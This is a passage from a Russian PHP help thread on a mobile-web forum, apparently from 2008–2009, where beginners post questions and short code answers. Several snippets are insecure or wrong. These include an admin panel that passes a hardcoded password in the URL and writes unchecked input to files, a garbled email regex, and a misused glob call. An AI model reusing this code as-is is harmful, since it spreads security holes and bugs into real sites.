else ++$_SESSION['num'];
echo $_SESSION['num'];


1198. Wapruks (12.11.08 / 02:41)
как защитится от кражи сессии?

1199. Godzilla (12.11.08 / 05:22)
В Полезных кодах для пхп(тема соседняя) писал код на эту тему...

1200. Azzido (12.11.08 / 09:04)
1217, храни id сессии в cооkie а не в url,если это невозможно,делай привязку к ip или браузеру

1201. Wapruks (12.11.08 / 09:15)
1217.можно пример?

1202. Wapruks (12.11.08 / 09:17)
и ещё...Чё эт означает?[url=wtestw.h2m.ru/gallery/reg.php]сцилко[/url]

1203. Wapruks (12.11.08 / 09:18)
http://wtestw.h2m.ru/gallery/reg.php

1204. Wapruks (12.11.08 / 10:26)
с постом 1222 разобрался

1205. myz-tv (12.11.08 / 11:19)
20, там есть параметр щас непомню какой , глянь в гугле

1206. RED1 (12.11.08 / 19:28)
Warning: require_once(): Unable to access ../template/start.php in /usr/home/redwhite/htdocs/jur/lj/index.php on line 2 Warning: require_once(../template/start.php): failed to open stream: No such file or directory in /usr/home/redwhite/htdocs/jur/lj/index.php on line 2 Fatal error: require_once(): Failed opening required '../template/start.php' (include_path='.:/usr/local/share/pear') in /usr/home/redwhite/htdocs/jur/lj/index.php on line 2 что за ошибка?как исправ

1207. Удаленный (13.11.08 / 23:49)
site.ru/gruz/music/raz/bud/ допустим нужно отсюда проинклудить файл который находится в корне сайта,как это сделать?

1208. Wapruks (14.11.08 / 00:07)
include_once'file.php';

1209. Удаленный (14.11.08 / 00:18)
include $_SERVER['DOCUMENT_ROOT']."/file.ext";

1210. Удаленный (14.11.08 / 12:39)
Thanks..

1211. OlegLom (15.11.08 / 06:23)
28, или так:
include_once "../../../../file.ext";
Но твой метод лучше. )))

1212. Leo (15.11.08 / 07:35)
Что то не дагоню.Как сделать что бы баннер показывался только на главной?

1213. Удаленный (15.11.08 / 13:58)
Люди ,как сделать нумерацию файла?

1214. Удаленный (15.11.08 / 13:59)
Т.е файлов.

1215. SKAZ0CHN1k (15.11.08 / 20:58)
1231 поставить его в файле индекс.* ну или сложнее, условие если страница равна индекс или / то ставим ссылку, ничего сложного

1216. SKAZ0CHN1k (15.11.08 / 20:58)
Ну ты ж их чем то выводишь, вот и ставь цикл.. А переменной цикла и выводи номер.

1217. Удаленный (15.11.08 / 21:48)
1235# спасибо,уже разобрался ).gif

1218. Удаленный (16.11.08 / 00:28)
помогите пожалуста ).gif как через метод POST создать опрос) например
3-4 вопроса с вариантами ответа да и нет,да=1,нет-0,и если сумма ответов равна 4 выводилса текст ).gif

1219. Удаленный (16.11.08 / 13:54)
<?php
$action = isset($_POST['act']) ? true : false ;
if($action) {
$otveti = $_POST['otvet'];
$yes = 0;
$count_otv = count($_POST['otvet']);
foreach($otveti AS $otvet) {
if($otvet == 1) ++$yes;
}
$no = $count_otv - $yes;
echo "Всего ответов - ".$count_otv."<br />Ответов Да - ".$yes." <br /> Ответов Нет : ".$no;
if($yes == $count_otv) echo '<br />Траляля';
}
?>

1220. Удаленный (16.11.08 / 13:55)
<br /><br /><br />
<form method = "POST" action = "">
Соль соленая?
<select name = "otvet[]">
<option value = 0>Нет</option>
<option value = 1>Да</option>
</select><br />
Перец горький?
<select name = "otvet[]">
<option value = 0>Нет</option>
<option value = 1>Да</option>
</select><br />
Лимон кислый?
<select name = "otvet[]">
<option value = 0>Нет</option>
<option value = 1>Да</option>
</select><br />
Мороженное сладкое?
<select name = "otvet[]">
<option value = 0>Нет</option>
<option value = 1>Да</option>
</select><br />
<input type = "submit" value="Отправить" name="act">
</form>

1221. Удаленный (16.11.08 / 21:20)
Unholy ОГРОМНОЕ ТЕБЕ СПАСИБО!!!!! реально выручил !).gif

1222. Удаленный (18.11.08 / 15:11)
Подскажите почему введя правильный пароль я опять на странице логина?
<?php
$par="12345";
//пароль админа
include"header.php";
//инклуд загаловка
echo $start;
if(!empty($pas) or $pas==$par){
if(empty($action)){$action="index";}
if($action==&q uot;index"){
echo'<a href="admin.php?pas='.$pas.'&action=rekl">Реклама</a><br>&# 39;;
echo'<a href="admin.php?pas='.$pas.'&action=link">Ссылки</a><br> 9;;
echo'<a href="index.php">На главную</a><br>';
}
if($action=="rekl"){
$st = @file("rek.dat");
$pt=$st[0];
echo'<form action="admin.php?action=rekl2&pas='.$pas.'" method="post">
изменить рекламный блок<input type="text" name="rk" value="'.$pt.'">
<input type="submit" value="сохранить">
</form>
';
}
if($action=="rekl2" ){
$fp=fopen("rek.dat","wb");
fputs($fp,$rk);
fclose($f p);
echo'Сохранено!<hr><a href="admin.php?pas='.$pas.'&action=index">Далее</a>';
}
>>

1223. Удаленный (18.11.08 / 15:13)
>>

if($action=="link"){
$slt = @file("link.dat");
$plt=$slt[0];
echo'<form action="admin.php?action=link2&pas='.$pas.'" method="post">
изменить блок ссылок<input type="text" name="lk" value="'.$plt.'">
<input type="submit" value="сохранить">
</form>
';
}
if($action=="link2" ){
$fp=fopen("link.dat","wb");
fputs($fp,$lk);
fclose($ fp);
echo'Сохранено!<hr><a href="admin.php?pas='.$pas.'&action=index">Далее</a>';
}if($action=="login"){
if($pass!==$par){echo'Пароль не верен!<hr><a href="admin.php">назад</a>';}else{echo'Пароль верен!<hr><a href="admin.php?action=index&pas='.$pas.'">Войти</a>';
}}}else{
echo'
<form method="post" action="admin.php?action=login">
<input type="text" name="pass">
<input type="submit" value="Войти">
</form>';
}
include"footer.php";
//инклу д низа
?>


1224. Удаленный (18.11.08 / 15:23)
откуда ты берешьaction?(: может тогда в начало написать
$action = isset($_GET['action'] ? $_GET['action'] : 'index'; ?(:

1225. Удаленный (18.11.08 / 15:51)
А по подробней можно?

1226. Taim (19.11.08 / 18:47)
Скажите почему если перед выводом страницы 2 и более раз испольую include, то страница выводится с какимито двумя точками в самом начале

1227. Playa (20.11.08 / 02:46)
код то где?

1228. Taim (20.11.08 / 09:27)
Причем файлы, fun wml пустые

<?php
include("system/wml.php");
include("system/fun.php&quo t;);
header("Cache-Control: no-cache");
header("Cache-Control: no-cache");
header("Content-type:text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="utf-8"?>';
echo '<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd">';
echo '<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/></head>';
echo '<card id="index" title="verh"><p>';
echo'</p></card></wml>';
? >


1229. Taim (20.11.08 / 09:53)
&quo t; вместо этого двойные кавычки "

1230. Taim (20.11.08 / 10:04)
&quo t; вместо этого двойные кавычки "

1231. Playa (21.11.08 / 07:23)
где-то я это уже видел походу:-) не блокнотом обычным пользовалсо?

1232. Vladislav (23.11.08 / 19:59)
Как с дробового числа отделить только целые и дробь например 7.25 присвоить одной переменной 7.00 а другой 0.25

1233. megabit (23.11.08 / 20:02)
http://php.net/explode

1234. Vladislav (24.11.08 / 22:39)
Спасибо МегабиТ. А как разделить текст $text размером более 1мб на части например по 100кб не зная его содержания, при етом чтобы можно было использовать любую часть, explode незнаю поможет ли?

1235. Vladislav (24.11.08 / 22:43)
Спасибо МегабиТ. А как разделить текст $text=fread($file,filesize("file.dat")); размером более 1мб на части например по 100кб не зная его содержания, при етом чтобы можно было использовать любую часть, explode незнаю поможет ли?

1236. Gansik (26.11.08 / 02:31)
Собствено есть таблица profil с полями к примеру id, name, sex. Как мне подсчитать к-во юзеров?

1237. OlegLom (26.11.08 / 05:35)
$q=mysql_query("SELECT *FROM profil");
$all=mysql_num_rows($q);
echo "Кол-во юзеров: $all";
З.Ы Может быть mysql_numrows...

1238. Gansik (26.11.08 / 11:56)
2PAC, +1 Спасибо).gif

1239. Night (26.11.08 / 15:04)
в чем ошибка?
$skolko=mysql_query("SELECT COUNT(*) FROM text");
$count=mysql_result($skolko,0);
Ошибку выдает во второй строке.

1240. Удаленный (27.11.08 / 20:20)
смотря какая ошибка.... а у тебя создана таблица с полями?

1241. z-kzn-z (27.11.08 / 22:45)
скажи какую ошибку возвращает mysql_error();

1242. Night (28.11.08 / 11:52)
59 таблица была создана с полями. Сейчас проблема в другом. Отправляю сообщение. Пишет сообщение добавлено, а на самом деле в базу ничего не добавилось. Сегодня повнимательнее гляну. Может где ошибся в коде.

1243. VoRoBeY (28.11.08 / 12:20)
Как сделать ''До нового года N дней''? С меня +

1244. wapek (28.11.08 / 12:39)
1262. Это Java скрипт. ща найду

1245. wapek (28.11.08 / 12:40)
Файл:
http://lenivye.org.ru/script/back.js
Код в страницу:
<font color="black"><script language="JavaScript" type="text/javascript" src="/script/back.js"></script></font><br/>

1246. wapek (28.11.08 / 12:42)
* хотя можно и на пхп, но я считаю что это проще ).gif

1247. VoRoBeY (28.11.08 / 12:43)
1265. Я не уважаю яваскрипт. Его много не держит

1248. ZipeR (28.11.08 / 12:45)
1266#здесь в скриптах есть этот скрипт раздел информеры

1249. VoRoBeY (28.11.08 / 14:21)
1267. Там длинный он какой то. И подозрительный

1250. z-kzn-z (28.11.08 / 16:45)
echo (int)((mktime(0, 0, 0, 1, 1, 2009)-time())/86400).' до нового года';

1251. Gansik (28.11.08 / 17:18)
такой вопрос каким запросом выдернуть из таблицы к примеру profil к-во новых записей за последних 24 часа?

1252. z-kzn-z (28.11.08 / 18:57)
Будем считать что есть поле time
mysql_query("SELECT * FROM profile WHERE time>=".(time()-86400)." LIMIT 0,23;");

1253. Gansik (28.11.08 / 20:08)
z-kzn-z, ага благодарю. Сейчас попробую=)

1254. Gansik (28.11.08 / 20:47)
таксс... теперь еще такой вопрос. как способом можна вывести число на картинку. ну к примеру переменная all у меня считает к-во юзеров. как эту цифру можна вывести на картинку. насколько я знаю то это реально так как видел такое. Вопрос зачем? Для того что б владелец сайте на конструкторе которой пользуется моим сервисом смог у себя поставить картинку эту котороя будет отображать к-во юзеров, + обновляться естественно. кр4 может я и не прав если. Поправте эсли это не реально

1255. z-kzn-z (28.11.08 / 21:25)
$img = imagecreatetruecolor(ширина, высота); // создаем картинку..
imagefilledrectangle($img, 0, 0, ширина, высота, imagecolorallocate($img, 255, 255, 255)); // зальем белым цветом
imagettftext($img, размер_шрифта, угол, х, y, imagecolorallocate($img, 255, 0, 0), "/path/arial.ttf", "текст"); // рисуем текст заданным шрифтом. если нету шрифта, то стандартным.
imagepng($img); // выводим
или imagegif($img); // выводим только gif


1256. z-kzn-z (28.11.08 / 21:27)
да, для этого нужна библиотека GD. ну в php где-то с 4й версии есть

1257. Gansik (28.11.08 / 21:29)
74, ога, а как с переменной выводить значание на эту картинку?

1258. Gansik (28.11.08 / 21:30)
75, не вопрос. У меня VDS).gif

1259. z-kzn-z (28.11.08 / 22:41)
с переменной текст?
а что там выводить, прост овместо "текст" пиши $peremennaya ).gif

1260. Gansik (28.11.08 / 22:42)
78, во блин точно. ссори ступил чет яD.gif
==========================
Cпасибо большое, у меня еще походу будет много вопросов=))

1261. Gnom (29.11.08 / 01:00)
Подскажите пожалуйста как перекодировать вот эти каракули

ты ещё слишком слаб для напададения. Повышай свой статус!

буду очень признателен

1262. ArchangeL (29.11.08 / 02:27)
Народ,исправьте пожалуйста ошибку в счетчике
<?php
$fh=fopen("mycounter.txt","r");
$counter=frea d($fh,20);
fclose($fh);
$counter++;
$fh=fopen("mycounter.txt",&qu ot;w");
fwrite($fh,"$counter");
fclose($fh);
ehco sprintf("%'09s"$counter);
?>
где здесь ошибка,почему то пишет что в строке ehco sprintf("%'09s"$counter); но почему не знаю,помогите пожалуйста

1263. z-kzn-z (29.11.08 / 09:43)
1280, открыть файл в другой кодировке)
1281, потому что не ehco, а echo

1264. ArchangeL (29.11.08 / 11:14)
1282 да нет,оно так написано

1265. ArchangeL (29.11.08 / 11:15)
Это я здесь так написал,а в скрипте я правильно сделал

1266. Удаленный (29.11.08 / 11:30)
Можно переделать HTML шаблон сайта в тему под мотор,хотяб намек дайте как

1267. z-kzn-z (29.11.08 / 11:50)
mr.ArchangeL, скажи хоть, что за ошибка..

1268. ArchangeL (29.11.08 / 12:03)
Ну вот в той строке ошибка вот гляньте что пишет http://nkat.h2m.ru/count.php

1269. Удаленный (29.11.08 / 12:29)
1285 никто не знает?

1270. OlegLom (29.11.08 / 12:47)
1285, да нет ничего не возможного! Это зависит от твоих знаний. И за тебя никто не будет писать тему. Разберай код, что к чему.

1271. Удаленный (29.11.08 / 12:48)
1289 ты прав

1272. ArchangeL (29.11.08 / 13:59)
А вот если бы кто нибудь исправил код,было бы замечательно(.gif

1273. z-kzn-z (29.11.08 / 15:02)
епт)
echo sprintf("%'09s", $counter); ).gif
запятую поставь перед $counter ).gif

1274. ArchangeL (29.11.08 / 15:05)
Уже ставил,все равно

1275. z-kzn-z (29.11.08 / 15:12)
тогда выложи куда-нить этот скрипт. чтобы я мог скачать. и ссылку, сюда или в личку.

1276. ArchangeL (29.11.08 / 15:13)
Ok я сам писал,щас выложу в приват тебе

1277. ArchangeL (29.11.08 / 15:34)
Ну что???

1278. z-kzn-z (29.11.08 / 16:14)
эх..
держи) http://upwap.ru/233675

1279. ArchangeL (30.11.08 / 14:16)
1297 спасибо).gif правда этот счетчик туповат(.gifпоказывает время генерации что ли,ребят,может кто нибудь подскажет нормальный код счетчика чтоб считал и хосты и Хиты?пожалуйста

1280. papiRUS (30.11.08 / 16:11)
BASEDIR как им пользоваться, и чуток про него расскажите

1281. makler-eka (05.12.08 / 12:26)
скажите что неправильно? При установке двига на мускуле,выдает такую вещь. Что это http://e-burg.1xw.ru/install/index.php?act=set

1282. ZooM (05.12.08 / 12:28)
пароль к mysql неправильный

1283. z-kzn-z (06.12.08 / 17:05)
как сделать чтобы оператор like (в mysql) не учитывал регистр символов?

1284. Dementor666 (07.12.08 / 13:16)
почему у меня при написании грабов,я немогу вырезать русскме слова и буквы?

1285. Dementor666 (07.12.08 / 13:48)
все разобрался

1286. Vladislav (07.12.08 / 23:13)
Как перекодировать этот текст http://vlad4.1xw.ru/php/config.php на нормальный? Это файл на Pascal

1287. lugaro (07.12.08 / 23:43)
Он был в кодировке Dos теперь в utf-8
http://upwap.ru/240487

1288. Vladislav (07.12.08 / 23:58)
Пасиба .::lugaro::. .

1289. Aleksandr (08.12.08 / 00:17)
переменная $msg выводить текст "smile.gif"
Как мне подсчитать количество букв i или количество точек в этом слове?

1290. Gnom (08.12.08 / 01:23)
http://php.su/functions/?strlen вот по подсчету символов

1291. Aleksandr (08.12.08 / 11:12)
1309, ннет..... это совсем другое. Вот как надо было
$msg="happy";
$count=substr_count("$msg","p");< br>echo"В слове happy $count букв p";

1292. Удаленный (08.12.08 / 22:57)
как зделать чтоб чтоб каждый день обновлялась или страница или картинка,текст итд.тп?

1293. Удаленный (09.12.08 / 12:15)
---Каким кодом вписать ссылку при нажатии которой будет возвращать на страницу с которой пришёл?
---Как сделать фишку с авторизайией что стоит на моторе,при которой не требуется постоянная авторизация вручную?

1294. Удаленный (09.12.08 / 12:17)
Подскажите всё за плюсик

1295. Удаленный (09.12.08 / 15:21)
и еще вопрос,в скрипте есть мини чат и приват,можно ли с мини чата приват сделать?

1296. Aleksandr (09.12.08 / 16:11)
1311, она итак обновляется. А 24часа в сутки даже ты сам не будешь на своем сайте не отрываясь.
1312, кажется $_SERVER['HTTP_REFERER');
--- это куки
А вот пост 1314 не совсем понил

1297. Удаленный (09.12.08 / 16:41)
1315,есть скрипт знакомств с мини чатом можно с этого миничата сделать такой же приват как и этот мини чат?

1298. Aleksandr (09.12.08 / 17:01)
во первых мини чат это одно и тоже что и гостевая.
А сделать приват можно если есть анкеты. Но простым маленьким кодом тут это не покажешь

1299. maxomara (11.12.08 / 10:49)
Делаю сайт просто на пхп.будет много вопросов,но позже.а ща тока два.первый-как сделать фон на сайт,если у меня есть тока index.php?чё создать, прописать и т.д.И второй-как другим цветом выделить раздел типа <div class=b и т.д. Вобщем нуб йа.

1300. maxomara (11.12.08 / 10:53)
Вот пример главной.сайтом старым не занимаюсь,так шо не сочтите за рекламу. http://droff.org.ru/xyj/index.php надо фон и выделить цветом блок с надписью "закачайся на WAP.RU!"

1301. z-kzn-z (11.12.08 / 18:19)
а в чем проблема-то? средствами html)

1302. KIRIK (11.12.08 / 19:33)
Как зделать так: если перейти по сылке site.ru/hz.php с мобилы то перекинет на site.ru/hz.php?auction=wap а с компа то перекинет на site.ru/hz.php?auction=web?

1303. Aleksandr (11.12.08 / 19:45)
примерно так

$agent=htmlspecialchars(stripslashes(getenv('HTTP_USER_AGENT')));
if (stristr($agent,'Mozilla') II stristr($agent,'Opera9.24')){//итд
header("Location: site.ru/hz.php?auction=web"); }else{
header("Location: site.ru/hz.php?auction=wap"); }


1304. maxomara (11.12.08 / 19:45)
1320.Буду признателен,если напишешь доступно для чайника(меня).а то йа ваще не шарю,что куда вписать и чё надо создать.

1305. MagaxeD (11.12.08 / 20:50)
дайте пожалуйсто код падщёта количества файлов в папке))))

1306. Aleksandr (11.12.08 / 21:53)
$file=glob("папка");
$file_count=count($file);
echo $file_count;

1307. MagaxeD (11.12.08 / 22:08)
Араб))))) спасиб))

1308. z-kzn-z (11.12.08 / 22:59)
1323, вот так..
средствами css
1. вместо
<div class=b> <font color="black">Закачайся на WAP.RU!</font> </div> </br>
напиши
<div class="b" style="background-color: #ff0000;"><font color="black">Закачайся на WAP.RU!</font></div></br>

2. в <body> напиши свойство bgcolor="цвет_который_тебе_надо". например <body bgcolor="#123456">.
-----
или в css:
body {
background-color: #00ff00;
}

или вот так))
<body style="background-color: #00ff00">


1309. maxomara (11.12.08 / 23:05)
27.По первому понял ))) а вот по второму-где эту css искать.примерно в какой строке?

1310. maxomara (11.12.08 / 23:08)
Короч,ща сам допереть попробую.еси не допру-спрошу. спс ))

1311. maxomara (12.12.08 / 08:45)
По двум предидущим вопросам йа фсё понял.терь такой вопрос,как сделать весь сайт по центру или хотябы определённую строку?например,йа хочу в самом низу сделать надпись maXomaRa по центру.типа как Powered by Wap-Motors,как это осуществить?1327,за помощь плюсадин.

1312. maxomara (12.12.08 / 08:47)
1327.Наберёшь 150 обязательно поставлю ).gif

1313. Aleksandr (12.12.08 / 09:36)
1330, тебе в раздел html /css

1314. maxomara (12.12.08 / 11:16)
1132.хорошо.

1315. Vladislav (12.12.08 / 20:41)
Как использовать функцию get_phone_number() чтобы она выводила мобильный номер пользователя???

1316. KIRIK (13.12.08 / 02:38)
1322, Спс)

1317. Aleksandr (13.12.08 / 08:53)
34, так же как и айпи или браузер $number=get_phone_number($number);
но не верю что она покажет номер ).gif

1318. Удаленный (13.12.08 / 15:00)
Пишет ошибку Parse error: syntax error, unexpected T_LOGICAL_OR in
а в той строке такое or die("<wml>
и ниже пошло
<card id=\"error\" title=\"error\">
<do type=\"prev\" label=\"Back\"><prev/></do><p align=\"center\">Can not connect to MySQL</p>
</card>
</wml>");
Че там неправильно подскажите срочно!!!!

1319. z-kzn-z (13.12.08 / 16:19)
а перед or случайно точки с запятой нету?

1320. Удаленный (13.12.08 / 17:46)
нету есть только в предыдущей строчке

1321. Vladislav (13.12.08 / 20:16)
1336. Араб. Тоже не верю но хочется проверить.

1322. z-kzn-z (13.12.08 / 21:58)
1339, покажи строку полностью, до or

1323. Aleksandr (13.12.08 / 23:05)
как отсортировать файлы в папке по убыванию числа в какоой то ячейки?
(большее вверху)

1324. Aleksandr (13.12.08 / 23:06)
то есть вывод файлов из папки

1325. djprofi (14.12.08 / 01:54)
а как сделать чтоб одна переменная состояла из нескольких? мне надо чтобы $i состояла из $f и $g

1326. Aleksandr (14.12.08 / 02:03)
1344,если так можно то наверно так
$f=$i;
$g=$i;

1327. djprofi (14.12.08 / 02:26)
нет, так получится что и $f и $g станут равны $i, а мне надо чтобы $i была $f и $g, например, если $f="pic";
$g=".jpg"; то $i="pic.jpg" должна быть равна.

1328. lugaro (14.12.08 / 04:08)
$i="$f"."$g";

1329. z-kzn-z (14.12.08 / 12:30)
можно просто $i = $f.$g;

1330. Aleksandr (14.12.08 / 20:09)
два вопроса
1. как упределить вес папки?
2. на хомяке для теста сделал граб главной висави. думал что значит норм и сделал граб проверки icq статуса а он не пашет.
?

1331. Aleksandr (14.12.08 / 20:12)
для 1го вопроса прошу линк на php.su не ляпать, сам могу
Просто ща инет-связь виснет

1332. Vladislav (15.12.08 / 11:11)
Ошибка в моторе 18версии. Ниодна страница не пашет. Вот ошибка "ini_set() has been disabled for security reasons in /home/vlad/public_html/template/start.php" что можно сделать?

1333. Aleksandr (16.12.08 / 02:04)
переведу если это поможет:
Функция ini_set() была отключена связи с возможной опасностью
Функция для настроек.. тут наверно для показа или отключения выводаошибок.
Попробуй в этом файле наверху написать
ni_set("display_errors","0");
ini_set("error_reporting", E_ALL);

1334. Aleksandr (16.12.08 / 02:05)
или вместо нуля поставь единицу чтоб включиить ее

1335. nikolenko (18.12.08 / 02:11)
Как правильно написать код даты и времени? Пишу <? print date(" F d, h:ia"); ?> Показывает Dekabr 17, 11:20 am вечера. А надо 17 Декабря, 23:20

1336. Aleksandr (18.12.08 / 12:08)
$date = date("d F, h:ia");
$date = str_replace('Dekabr','Декабря',$date);
echo$date;
---------
d - День месяца, 2 цифры с ведущими нулями
D - Сокращенное наименование дня недели, 3 символа
F - Полное наименование месяца
g - Часы в 12-часовом формате без ведущих нулей
G - Часы в 24-часовом формате без ведущих нулей
H - Часы в 24-часовом формате с ведущими нулями
i - Минуты с ведущими нулями
j - День месяца без ведущих нулей
l - (строчная 'L') Полное наименование дня недели
m - Порядковый номер месяца с ведущими нулями
M - Сокращенное наименование месяца, 3 символа
n - Порядковый номер месяца без ведущих нулей
s - Секунды с ведущими нулями
Y - Порядковый номер года, 4 цифры
y - Номер года, 2 цифры

1337. KIRIK (19.12.08 / 00:35)
Как замутить такую фишку которая у мотора т.е. BASEDIR?

1338. Aleksandr (19.12.08 / 01:00)
$basedir = $_SERVER['DOCUMENT_ROOT']
Вроде один эффект

1339. Aleksandr (19.12.08 / 01:01)
в конце ;

1340. Удаленный (19.12.08 / 01:12)
функция define() тебе в помощь

1341. KIRIK (19.12.08 / 02:01)
Cпс))

1342. Удаленный (19.12.08 / 10:17)
А зачем те basedir? Я делаю так к примеру ссылка site.ru/forum/viewtopic.php я сокращаю echo '<a href="forum/veewtopic.php">гы</а><br>' ; и палучаецо точна такжи,и при смене домина тож меняецо сыль

1343. Aleksandr (19.12.08 / 10:24)
1361, это надо например если у тя счетчик онлайн и тебе надо его инклудить на все страницы

1344. Aleksandr (19.12.08 / 10:27)
например в этом счетчике такой код
$file=fopen('local/online.dat');
счетчик не будет работать на всех страницах если не сделать так
$file=fopen("$basedir/local/online.dat");

1345. umaha (19.12.08 / 17:58)
привет, некто не знает, как перевести html на php формат? Не в моторе, а отдельная страница.

1346. z-kzn-z (19.12.08 / 23:09)
переименуй html файл в php и будет тебе типа php)

1347. Удаленный (20.12.08 / 22:21)
кстати, #1357, неправ, там должно быть $_SERVER['SERVER_NAME'], если не ошибаюсь

1348. Aleksandr (20.12.08 / 22:37)
может не ошибаешься но я прав

1349. OlegLom (20.12.08 / 23:40)
1364, точно так же как и html

1350. KIRIK (21.12.08 / 00:14)
Я зделал как сказал Араб, и работает)

1351. Удаленный (21.12.08 / 00:19)
возможно. У меня не захотело. Ну да ладно. Каждый дрочит так, как хочет

1352. myz-tv (25.12.08 / 10:08)
Я как и у араба делаю))

1353. Удаленный (25.12.08 / 20:57)
Как сделать шоб каждый час пользователю добавлялось шо то! ?

1354. KIRIK (25.12.08 / 21:33)
1372, Что?).gif

1355. Удаленный (27.12.08 / 01:15)
Здрасть народ я тут не давно подскажите а то админ меня скоро не только в бан и удалит вот каким образом мне вставить банер я уже все перепробовал подскажите пожалуйсто жду ответ

1356. DmitryDick (27.12.08 / 12:55)
1374, эээ...куда??

1357. DmitryDick (27.12.08 / 12:58)
Вот..

echo 'тут код баннера';


1358. Night (29.12.08 / 20:47)
почему в именах функций и т.п. вещах не рекомендуется использование русских слов?

1359. DmitryDick (30.12.08 / 09:17)
Ну попробуй использовать..

1360. Titov (31.12.08 / 15:02)
Вопрос: Метод POST как можно передавать данные переменных чтоб была ссылка обычная, ну текстовая ссылка а не кнопка?

1361. NEED (01.01.09 / 06:46)
Вопрос: как сделат чтобы в чате с один номером(мобил.тел.) была можна 1 регистрация?

1362. Удаленный (01.01.09 / 11:56)
слуши, па русскы напиши, да?

1363. myz-tv (01.01.09 / 12:37)
#1377, они кодируютца и может быть 404 #1379, так вроде только гет можно. #1380 ищи такойже номер в базе

1364. Titov (01.01.09 / 20:33)
1380 напиши скрипт который будет определять номер телефона, и заносить его в базу данных, потом при регистрации сравнивай номера из базы и номер телефона, если номер имеецо то рега закрыта,если нет номера то открыта

1365. Aleksandr (01.01.09 / 22:02)
определять номер телефона? дай примерчик кода если это возможно
Чет не верю

1366. Удаленный (01.01.09 / 22:08)
нет такого скрипта

1367. Titov (01.01.09 / 22:57)
мда).gif улыбнуло даж).gif

1368. Destruction (02.01.09 / 21:36)
Напишите пожалуйста код Скрипта, через который можно записывать ID3v2 Теги в mp3 файлы! Позарез нужно! Буду благодарен! ).gif Просто не хотел тему отдельную создавать

1369. lugaro (02.01.09 / 21:49)
1387 http://php.su/articles/?cat=others&page=013

1370. vot9n (02.01.09 / 23:02)
А есть функция или код штобы удалять строку записаную в $раnt=timе()-500;

1371. lugaro (05.01.09 / 08:33)
1389 чет совсем не понятно че ты хочеш(: какую строку ыы.

1372. lugaro (05.01.09 / 08:35)
Как правильно вычислить прошли ли сутки с определеного момента?

1373. Aleksandr (05.01.09 / 09:26)
я делаю это так
24часа эт же 86400сек?
$t = time()+86400;
потом записываешь $t в файл.dat
потом делаешь
$text = file("файл.dat");
$ff = explode("#",$text[0]);
if($ff[0]>time()){ echo'сутка прошла'; }else{ echo'пока еще рано'; }

1374. Aleksandr (05.01.09 / 09:28)
упс.
внизу так
if(time()>$ff[0]){

1375. lugaro (05.01.09 / 09:32)
Спасиб БаВшОе))))

1376. woron (06.01.09 / 14:03)
Хочу замутить такую штуку как в моторе "Самые активные"
тоесть; в каждом файле юзера есть переменная $data["posts"]="5"; как мне сделать ссылку чтобы самые активныебыли вверху?

1377. Kolyan56 (07.01.09 / 16:45)
Как сделать переадресацию на другую страницу?)))

1378. Kolyan56 (07.01.09 / 16:53)
Я вот нашел пару способов: через мете теги и через ява скрипт. Что лучше?

1379. lugaro (07.01.09 / 17:20)
1396
<?
header("Location:http://visavi.net");
?>

1380. lugaro (07.01.09 / 17:21)
Блин там нет переноса,это форум..
<?
header("Location:http://url");
?>
адрес может бы как относительным так и не относительным

1381. Aleksandr (07.01.09 / 19:14)
$HeadTime = time();
list($msec,$sec)=explode(chr(32),microtime());
echo round((($sec+$msec)-$HeadTime),3).' сек.';
эт код прально время генерации показывает или это просто как коунт цифр?

1382. Удаленный (07.01.09 / 22:10)
может пишу чють не по теме но может кто заен ресурс,статьи или книгу как правильно прогамировать на php? тось недопускать ошибок в коде ).gif

1383. Wapruks (08.01.09 / 03:31)
сдесь

1384. Удаленный (09.01.09 / 20:00)
Привет! Скажите как сделать так штобы пользователь смог смотреть профиль другога пользователья? )

1385. BoySKAut (10.01.09 / 01:12)
Файл gif в скрипте обозначен как ('gif') а как обозначить целую папку?

1386. FaN (10.01.09 / 01:21)
1403, скрипт написать надо =)
А вот какой скрипт - это зависит от структуры твоей БД где хранится информация по пользователям =)

1387. Удаленный (10.01.09 / 09:46)
А попроще нелзя? Типа знаю шо надо шото делать с file_get_contents! А шо именно не знаю )

1388. lugaro (10.01.09 / 09:49)
1406 одной функцией file_get_contents ты не обойдешься.А функция file_get_contents скачивет файл одной строкой если не ошибаюсь

1389. myz-tv (10.01.09 / 10:01)
Ну тогда используй file(); и выводи нужные массивы

1390. myz-tv (10.01.09 / 10:03)
+1408--> 1403# есле ты задаеш такие вопросы то ты несможеш так сделать.

1391. Удаленный (10.01.09 / 20:16)
Чем отличаютса fputs() от fwrite()?

1392. Night (11.01.09 / 19:42)
1410 ничем вроде.
Вопрос:
Если я при создании формы указал maxlength=10 то нужно ли при обработке данных проверять данные на то чтобы они не были длиннее 10символов?

1393. lugaro (11.01.09 / 20:02)
1411 да,вот к примеру опера мини вобще не реагирует на ограничения да и форуму можно модифицировать и отправить с другого хоста.
----
Ну и у мну вопрос,как проветрить правильно ли введено мыло?

1394. lugaro (11.01.09 / 20:03)
Ой т9 shok.gif ы

1395. Wapruks (12.01.09 / 00:02)
Регулярками).gifгде-то даже я видел пример)

1396. Night (12.01.09 / 16:26)
if (!preg_match("/[0-9a-z_][email protected][0-9a-z_^\.]+\.[a-z]{2,3}/i", $email)) { echo "Неверно введен E-mail! Пожалуйста, вернитесь назад и убедитесь в правильности ввода поля E-mail!";
exit(); }

1397. xass (12.01.09 / 18:15)
дайте gzip код

1398. Wapruks (13.01.09 / 03:10)
У меня есть например две переменные $a $b как в одну куку записать сразу две этих переменные?

1399. Wapruks (13.01.09 / 06:06)
Посмотрите плиз файл авторизации. что тут не так?код корявый т.к мой первый скрипт на мускулд. Да и вообще мало писал. Так что сильно не смеяться).gif авторизация

1400. Wapruks (13.01.09 / 06:06)
Посмотрите плиз файл авторизации. что тут не так?код корявый т.к мой первый скрипт на мускулд. Да и вообще мало писал. Так что сильно не смеяться).gif авторизация

1401. Wapruks (13.01.09 / 06:07)
Посмотрите плиз файл авторизации. что тут не так?код корявый т.к мой первый скрипт на мускулд. Да и вообще мало писал. Так что сильно не смеяться).gif авторизация

1402. Wapruks (13.01.09 / 06:08)
Глюк... Извините за оффтоп...

1403. myz-tv (13.01.09 / 08:34)
Ошибка 404

1404. Wapruks (13.01.09 / 08:39)
Да я уже поправил.

1405. Titov (13.01.09 / 09:26)
1417.

<?
/// присваеваим кукис
setcookie('name',$a.'-'.$b, time()+365*3600*24);
///берем из кукиса твои переменные
